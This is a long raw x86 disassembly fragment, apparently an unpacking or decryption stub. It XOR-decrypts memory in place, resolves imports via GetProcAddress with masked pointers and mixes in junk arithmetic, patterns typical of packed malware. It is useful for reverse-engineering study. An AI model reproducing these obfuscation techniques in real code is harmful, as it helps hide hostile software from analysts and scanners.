mov eax, dword [0x10107300]
lea ecx, [eax + 0xdf6a]
add eax, 0x202a0
xor eax, dword [ecx]
xor eax, 0xdccece6c
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor eax, dword [0x101062e0]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ed4]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fc4]
add eax, 0x2da0
xor eax, dword [ecx]
mov edx, 0xdccfa26c
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8543]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4004]
add eax, 0x78238
xor eax, dword [ecx]
xor eax, 0xdccb4ef4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33818]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f04]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x339c0]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10106ae8]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x12a38]
add eax, 0x32850
xor eax, dword [ecx]
xor eax, 0xdccfe49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34038]
add eax, 0x11f9b
xor eax, dword [ecx]
xor eax, 0xdccdd357
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254c0]
add eax, 0x32df8
xor eax, dword [ecx]
xor eax, 0xdccfe134
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x197ef]
add eax, 0xa8fd4
xor eax, dword [ecx]
xor eax, 0xdcc64318
mov dword [ecx], eax
mov eax, dword [0x10105368]
or eax, 0xdb2e4a89
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4740]
add eax, 0x261a4
xor eax, dword [ecx]
xor eax, 0xdccead68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8d1]
add eax, 0xa5530
xor eax, dword [ecx]
xor eax, 0xdcc699fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11eec]
add eax, 0x200b4
xor eax, dword [ecx]
mov edx, 0xdccece08
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d4d1]
add eax, 0xa55c4
xor eax, dword [ecx]
push 0x10107619
xor eax, 0xdcc69908
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a32f]
add eax, 0x33c48
xor eax, dword [ecx]
push ebp
xor eax, 0xdccff084
mov dword [ecx], eax
and dword [0x10106ae8], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1929]
add eax, 0x24d6c
xor eax, dword [ecx]
xor eax, 0xdcce81a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f5cf]
add eax, 0x34008
xor eax, dword [ecx]
xor eax, 0xdccf8cc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x128ae]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x56af]
add eax, 0x20230
xor eax, dword [ecx]
xor eax, 0xdccecefc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4aca]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10bbf]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200cc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf80bc
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb8d0]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9667]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240b8]
add eax, 0x23c6c
xor eax, dword [ecx]
xor eax, 0xdccef0a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19daa]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
and eax, 0x2f339079
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa027]
add eax, 0x20104
xor eax, dword [ecx]
xor eax, 0xdccecdc8
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
imul eax, eax, 0xb081be62
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8d9b]
add eax, 0xa49bc
xor eax, dword [ecx]
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f59]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b141]
add eax, 0xa5238
xor eax, dword [ecx]
xor eax, 0xdcc69ef4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332a0]
add eax, 0x332a4
xor eax, dword [ecx]
xor eax, 0xdccffe68
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105368]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x169a1]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8b94]
add eax, 0x23118
xor eax, dword [ecx]
xor eax, 0xdccefdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d80]
add eax, 0x32dc8
xor eax, dword [ecx]
xor eax, 0xdccfe104
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14e0c]
add eax, 0x20c48
xor eax, dword [ecx]
xor eax, 0xdccec084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xca69]
add eax, 0x28c7c
xor eax, dword [ecx]
xor eax, 0xdcce40b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20084
push 0x10107503
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf87e2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18159]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5c17]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32aa0]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b625]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2c1a]
add eax, 0xa59ed
xor eax, dword [ecx]
xor eax, 0xdcc69521
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45d4]
add eax, 0x8f9b8
xor eax, dword [ecx]
xor eax, 0xdcc43574
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, eax, 0xac625f38
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17625]
add eax, 0x231dc
xor eax, dword [ecx]
xor eax, 0xdccefd10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x896d]
add eax, 0x27c40
xor eax, dword [ecx]
xor eax, 0xdcceb08c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2ccc]
add eax, 0xa59f0
xor eax, dword [ecx]
xor eax, 0xdcc6953c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329ac]
add eax, 0x130a0
xor eax, dword [ecx]
xor eax, 0xdccdfc6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12798]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33984]
add eax, 0x33988
xor eax, dword [ecx]
push 0x101079e7
xor eax, 0xdccff544
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201c0
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x28f
xor ecx, 0xcccf9a16
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18a88]
add eax, 0x361f0
xor eax, dword [ecx]
xor eax, 0xdccfad3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1ce]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10105abc]
xor eax, 0xed2fab4f
mov dword [esp + 0x20], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10035647
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d84]
add eax, 0x27610
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x241
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18a59]
add eax, 0xa550c
xor eax, dword [ecx]
xor eax, 0xdcc699c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f88]
add eax, 0x23f60
xor eax, dword [ecx]
xor eax, 0xdccef3ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1575c]
add eax, 0x20c88
xor eax, dword [ecx]
xor eax, 0xdccec044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5552]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfc80]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10035705
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42ac]
add eax, 0x27748
xor eax, dword [ecx]
push 0x101078d7
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338c0]
add eax, 0xa4b2c
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc687e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f0c3]
add eax, 0x34484
xor eax, dword [ecx]
xor eax, 0xdccf8848
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40c4]
add eax, 0x7b668
xor eax, dword [ecx]
xor eax, 0xdccb7aa4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121a]
add eax, 0x24ba0
xor eax, dword [ecx]
xor eax, 0xdcce876c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a34]
add eax, 0x393d8
xor eax, dword [ecx]
xor eax, 0xdccf5f14
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2017c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf837a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1141b]
add eax, 0x28674
xor eax, dword [ecx]
xor eax, 0xdcce4ab8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e44]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8521]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8db]
add eax, 0x20064
xor eax, dword [ecx]
xor eax, 0xdccecca8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1825d]
add eax, 0x23878
xor eax, dword [ecx]
xor eax, 0xdccef4b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x176e]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c886]
add eax, 0xa508c
xor eax, dword [ecx]
mov dword [esp + 0x10], 0xc0
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14b0f]
add eax, 0x20db8
xor eax, dword [ecx]
xor eax, 0xdccec174
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
sub dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a04]
add eax, 0x38950
xor eax, dword [ecx]
xor eax, 0xdccf459c
mov dword [ecx], eax
and dword [0x101062e0], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e72c]
add eax, 0x32b04
xor eax, dword [ecx]
xor eax, 0xdccfe7c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xac64]
add eax, 0x27e6c
xor eax, dword [ecx]
xor eax, 0xdcceb2a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1782c]
add eax, 0x17848
xor eax, dword [ecx]
xor eax, 0xdccdb484
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11ca5]
add eax, 0x2017c
xor eax, dword [ecx]
xor eax, 0xdccecdb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a5a1]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
xor dword [0x101062e4], 0x4cb176af
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e0]
add eax, 0x2b21b08d
dec dword [esp + 0x10]
mov dword [0x101062e4], eax
jne 0x10035962
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140aa]
add eax, 0xa5a70
xor eax, dword [ecx]
xor eax, 0xdcc696bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33694]
add eax, 0x336a0
xor eax, dword [ecx]
xor eax, 0xdccffa6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47bc]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbbee]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb997]
add eax, 0x20140
xor eax, dword [ecx]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48dc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18451]
add eax, 0xa4c08
xor eax, dword [ecx]
xor eax, 0xdcc680c4
mov dword [ecx], eax
and dword [0x10106ae8], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36044]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39a4]
add eax, 0x37198
xor eax, dword [ecx]
xor eax, 0xdccfbd54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1923d]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17930]
add eax, 0x17980
xor eax, dword [ecx]
xor eax, 0xdccdb54c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e9]
add eax, 0x24ce4
xor eax, dword [ecx]
xor eax, 0xdcce8028
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34050]
add eax, 0x1f5e0
xor eax, dword [ecx]
xor eax, 0xdccd392c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x90b9]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a85]
add eax, 0x20020
xor eax, dword [ecx]
xor eax, 0xdcceccec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240ec]
add eax, 0x23ae0
xor eax, dword [ecx]
xor eax, 0xdccef62c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36024]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x101062e4], eax
lea ecx, [eax + 0x106f6]
add eax, 0x20170
xor eax, dword [ecx]
xor eax, 0xdccecdbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f48]
add eax, 0x26f44
xor eax, dword [ecx]
xor eax, 0xdccea388
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33104]
add eax, 0x330d8
xor eax, dword [ecx]
xor eax, 0xdccffc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x153b]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25710]
add eax, 0x3a20
xor eax, dword [ecx]
xor eax, 0xdcccf6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ee0]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48f0]
add eax, 0x266d0
xor eax, dword [ecx]
xor eax, 0xdcceaa1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331f0]
add eax, 0x331f4
xor eax, dword [ecx]
xor eax, 0xdccffd38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3353c]
add eax, 0x33548
xor eax, dword [ecx]
xor eax, 0xdccff984
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x92cb]
add eax, 0x27d0c
xor eax, dword [ecx]
xor eax, 0xdcceb1c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf926]
add eax, 0x290a8
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x3a0
xor eax, 0xdcce5c64
mov dword [ecx], eax
mov eax, dword [0x10103e64]
sub eax, dword [0x10106ae8]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bbd9]
add eax, 0xa5534
xor eax, dword [ecx]
xor eax, 0xdcc699f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329ec]
add eax, 0x13570
xor eax, dword [ecx]
xor eax, 0xdccdf9bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f91]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33494]
add eax, 0x33498
xor eax, dword [ecx]
xor eax, 0xdccff854
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f80]
add eax, 0x23f74
xor eax, dword [ecx]
xor eax, 0xdccef3b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x54db]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x1010536c]
mov ecx, dword [0x10107300]
add ecx, eax
mov dword [0x10105abc], ecx
push dword [0x10107300]
mov eax, dword [0x101062e0]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10035d13
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25774]
add eax, 0x3f40
xor eax, dword [ecx]
xor eax, 0xdcccf38c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb617]
add eax, 0xa5a2c
xor eax, dword [ecx]
xor eax, 0xdcc696e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36cfc]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x175f1]
add eax, 0x33b18
xor eax, dword [ecx]
xor eax, 0xdccff7d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c2e0]
add eax, 0xa5564
xor eax, dword [ecx]
xor eax, 0xdcc699a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36440]
add eax, 0x24404
xor eax, dword [ecx]
xor eax, 0xdcce88c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9192]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279e0]
add eax, 0x65e0
xor eax, dword [ecx]
xor eax, 0xdccca92c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ae8]
add eax, 0x249c8
xor eax, dword [ecx]
xor eax, 0xdcce8504
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4207]
add eax, 0x230c8
xor eax, dword [ecx]
xor eax, 0xdccefc04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8f19]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e563]
add eax, 0xa8f30
xor eax, dword [ecx]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fe8]
add eax, 0x23ed8
xor eax, dword [ecx]
xor eax, 0xdccef214
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x195c3]
add eax, 0x33c28
xor eax, dword [ecx]
push 0x10107c93
xor eax, 0xdccff0e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a20]
add eax, 0x17a30
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccdb6fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x48c7]
add eax, 0x20140
xor eax, dword [ecx]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36fa4]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11ebc]
add eax, 0x324c4
xor eax, dword [ecx]
xor eax, 0xdccfe808
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a20]
add eax, 0x277cc
xor eax, dword [ecx]
xor eax, 0xdccebb00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8016]
add eax, 0x20278
xor eax, dword [ecx]
xor eax, 0xdcceceb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14133]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b08]
add eax, 0x249a8
xor eax, dword [ecx]
xor eax, 0xdcce8564
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4814]
add eax, 0x9a068
xor eax, dword [ecx]
xor eax, 0xdcc56ca4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34310]
add eax, 0x1f7f9
xor eax, dword [ecx]
xor eax, 0xdccd3b35
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5523]
add eax, 0x1f488
xor eax, dword [ecx]
xor eax, 0xdccd3844
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe925]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202b8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c54
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1299f]
add eax, 0x32728
xor eax, dword [ecx]
xor eax, 0xdccfebe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x12738]
add eax, 0xa57a8
xor eax, dword [ecx]
xor eax, 0xdcc69b64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b912]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45dc]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10103e60]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa14a]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6418]
add eax, 0x230b8
xor eax, dword [ecx]
xor eax, 0xdccefc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b11b]
add eax, 0x20184
xor eax, dword [ecx]
xor eax, 0xdccecd48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37064]
add eax, 0x31fe0
xor eax, dword [ecx]
xor eax, 0xdccfd32c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or eax, dword [0x101062e0]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1869e]
add eax, 0x200fc
xor eax, dword [ecx]
xor eax, 0xdccecc30
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, 0x92915179
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a00]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105ab8]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xa39dc]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11113]
add eax, 0x20004
xor eax, dword [ecx]
xor eax, 0xdcceccc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4bae]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeecb]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x159a4]
add eax, 0x14c89
xor eax, dword [ecx]
xor eax, 0xdccd8045
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x54c9]
add eax, 0x1f4c8
xor eax, dword [ecx]
xor eax, 0xdccd3804
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0ce]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4bb3]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b18]
add eax, 0x24988
xor eax, dword [ecx]
xor eax, 0xdcce8544
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c68]
add eax, 0x32c6c
xor eax, dword [ecx]
